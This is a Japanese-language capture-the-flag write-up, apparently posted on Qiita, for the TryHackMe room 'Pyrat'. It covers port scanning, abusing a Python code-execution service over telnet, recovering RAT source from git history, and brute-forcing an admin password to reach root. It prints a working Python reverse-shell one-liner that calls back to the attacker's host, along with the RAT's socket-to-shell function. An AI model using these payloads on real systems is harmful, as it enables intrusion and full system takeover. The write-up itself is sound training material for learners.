1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

TryHackMe Writeup:Pyrat

Posted at

はじめに

本記事はTryHackMeのWriteupです。

RoomはPyrat、Difficulty(難易度)はEasyです。

このRoomでは、Pythonやファジングに関するスキルについて学ぶことができます。

ポートスキャン

はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-06 17:44 JST
Nmap scan report for 10.10.23.107
Host is up (0.25s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
8000/tcp open  http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop: 
|     source code string cannot contain null bytes
|   FourOhFourRequest, LPDString, SIPOptions: 
|     invalid syntax (<string>, line 1)
|   GetRequest: 
|     name 'GET' is not defined
|   HTTPOptions, RTSPRequest: 
|     name 'OPTIONS' is not defined
|   Help: 
|_    name 'HELP' is not defined
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-open-proxy: Proxy might be redirecting requests
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.94SVN%I=7%D=10/6%Time=67024E17%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x20de
SF:fined\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20contain\
SF:x20null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(<st
SF:ring>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20cann
SF:ot\x20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTIONS'\
SF:x20is\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20is\x
SF:20not\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20strin
SF:g\x20cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D,"s
SF:ource\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Hel
SF:p,1B,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"invali
SF:d\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"invalid\
SF:x20syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\x20
SF:code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC,2D,
SF:"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(J
SF:avaRMI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20byt
SF:es\n")%r(afp,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\
SF:x20bytes\n")%r(giop,2D,"source\x20code\x20string\x20cannot\x20contain\x
SF:20null\x20bytes\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.42 seconds
Scan completed

ポートスキャンの結果を基に調査を行います。

列挙

ポートスキャンの結果を踏まえて、8000番ポートにアクセスすると、以下の様な画面が表示されます。

スクリーンショット 2024-10-06 17.49.33.png

標準ライブラリに含まれるhttp.serverモジュールを使用していると思われます。

レスポンスのメッセージやタスクの説明を参考にしながらどのようにペイロードを送信するかについて考えます。

脆弱性分析

telnetコマンドを用いて接続を試みます。

$ telnet <IP address> 8000

Trying 10.10.23.107...
Connected to 10.10.23.107.
Escape character is '^]'.
GET / HTTP/1.1
name 'GET' is not defined

試しにGETメソッドを入力すると、レスポンス結果からPythonの例外メッセージであるNameErrorのように見えます。

print関数を実行すると、文字列が出力できました。

print('Hello')
Hello

Pythonの実行に関する脆弱性を特定しました。

システムハッキング

Pythonの実行に関する脆弱性を利用して、足場を作ります。

アクセスの獲得

リスナーを用意した状態で、リバーシェルを取得します。

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP address>", 4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

telnetで上記コマンドを入力後、リバーシェルが取得できます。

import listening on [any] 4444 ...
connect to [<Your IP address>] from (UNKNOWN) [10.10.23.107] 56248

リバースシェル取得後はシェルが不安定な状態になっていますが、このまま調査します。

ユーザーフラグ

水平展開を行うにあたり/homeディレクトリ配下のユーザーを確認します。

drwxr-x--- 5 think think 4096 Jun 21  2023 think

上記結果を踏まえて、thinkユーザーの認証情報を探索します。/opt配下を確認すると、怪しそうなディレクトリを発見しました。

drwxrwxr-x 3 think think 4096 Jun 21  2023 dev

ls -alコマンドを実行すると、.gitディレクトリが確認できます。

total 12
drwxrwxr-x 3 think think 4096 Jun 21  2023 .
drwxr-xr-x 3 root  root  4096 Jun 21  2023 ..
drwxrwxr-x 8 think think 4096 Jun 21  2023 .git

configファイルからthinkユーザーの認証情報を発見しました。

[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[user]
    	name = Jose Mario
    	email = josemlwdf@github.com

[credential]
    	helper = cache --timeout=3600

[credential "https://github.com"]
    	username = think
    	password = *****************

上記認証情報を使用して、SSHでログイン後ユーザーフラグが取得できます。

total 40
drwxr-x--- 5 think think 4096 Jun 21  2023 ./
drwxr-xr-x 3 root  root  4096 Jun  2  2023 ../
lrwxrwxrwx 1 root  root     9 Jun 15  2023 .bash_history -> /dev/null
-rwxr-x--- 1 think think  220 Jun  2  2023 .bash_logout*
-rwxr-x--- 1 think think 3771 Jun  2  2023 .bashrc*
drwxr-x--- 2 think think 4096 Jun  2  2023 .cache/
-rwxr-x--- 1 think think   25 Jun 21  2023 .gitconfig*
drwx------ 3 think think 4096 Jun 21  2023 .gnupg/
-rwxr-x--- 1 think think  807 Jun  2  2023 .profile*
drwx------ 3 think think 4096 Jun 21  2023 snap/
-rw-r--r-- 1 root  think   33 Jun 15  2023 user.txt
lrwxrwxrwx 1 root  root     9 Jun 21  2023 .viminfo -> /dev/null

ルートフラグ

ルートフラグを取得するためには、権限昇格が必要です。

調査を行なっていると、/var/spool/mail/thinkファイルのメッセージを発見しました。

From root@pyrat  Thu Jun 15 09:08:55 2023
Return-Path: <root@pyrat>
X-Original-To: think@pyrat
Delivered-To: think@pyrat
Received: by pyrat.localdomain (Postfix, from userid 0)
        id 2E4312141; Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
Subject: Hello
To: <think@pyrat>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20230615090855.2E4312141@pyrat.localdomain>
Date: Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
From: Dbile Admen <root@pyrat>

Hello jose, I wanted to tell you that i have installed the RAT you posted on your GitHub page, i'll test it tonight so don't be scared if you see it running. Regards, Dbile Admen

コードに秘密があると思われるため、引き続き/opt/devディレクトリを調査します。

git log -pを実行したところ、以下のコミット履歴が確認できました。

commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date:   Wed Jun 21 09:32:14 2023 +0000

    Added shell endpoint

diff --git a/pyrat.py.old b/pyrat.py.old
new file mode 100644
index 0000000..ce425cf
--- /dev/null
+++ b/pyrat.py.old
@@ -0,0 +1,27 @@
+...............................................
+
+def switch_case(client_socket, data):
+    if data == 'some_endpoint':
+        get_this_enpoint(client_socket)
+    else:
+        # Check socket is admin and downgrade if is not aprooved
+        uid = os.getuid()
+        if (uid == 0):
+            change_uid()
+
+        if data == 'shell':
+            shell(client_socket)
+        else:
+            exec_python(client_socket, data)
+
+def shell(client_socket):
+    try:
+        import pty
+        os.dup2(client_socket.fileno(), 0)
+        os.dup2(client_socket.fileno(), 1)
+        os.dup2(client_socket.fileno(), 2)
+        pty.spawn("/bin/sh")
+    except Exception as e:
+        send_data(client_socket, e
+
+...............................................

作業ディレクトリの状態を確認すると、pyrat.py.oldファイルは削除されていることが分かります。

$ git status

On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
	deleted:    pyrat.py.old

no changes added to commit (use "git add" and/or "git commit -a")

git restore pyrat.py.oldコマンドを実行することで、ワークツリー内のファイルが復元可能です。コマンド実行後、ファイルが復元されたことを確認します。

-rw-rw-r-- 1 think think  753 Oct  6 09:25 pyrat.py.old
  • pyrat.py.old
...............................................

def switch_case(client_socket, data):
    if data == 'some_endpoint':
        get_this_enpoint(client_socket)
    else:
        # Check socket is admin and downgrade if is not aprooved
        uid = os.getuid()
        if (uid == 0):
            change_uid()

        if data == 'shell':
            shell(client_socket)
        else:
            exec_python(client_socket, data)

def shell(client_socket):
    try:
        import pty
        os.dup2(client_socket.fileno(), 0)
        os.dup2(client_socket.fileno(), 1)
        os.dup2(client_socket.fileno(), 2)
        pty.spawn("/bin/sh")
    except Exception as e:
        send_data(client_socket, e

...............................................

タスクの説明を参考にエンドポイントがヒントと思われるため、telnetでshellを入力すると、シェルの応答がありました。

Trying 10.10.23.107...
Connected to 10.10.23.107.
Escape character is '^]'.
shell
$ id
id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

他の入力を試したところ、adminの場合、パスワードが聞かれます。

admin
Password:

adminのエンドポイントをファジングして正しいパスワードを入力します。

admin
Password:
******
Welcome Admin!!! Type "shell" to begin

正しいパスワードを入力して認証後、shellを入力してidコマンドを実行すると、ルートユーザーに昇格したことが確認できます。

shell
# id
id

uid=0(root) gid=0(root) groups=0(root)

おわりに

telnetの入力に関して、ファジングの自動化を行う場合はPythonのsocketモジュールが利用できます。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?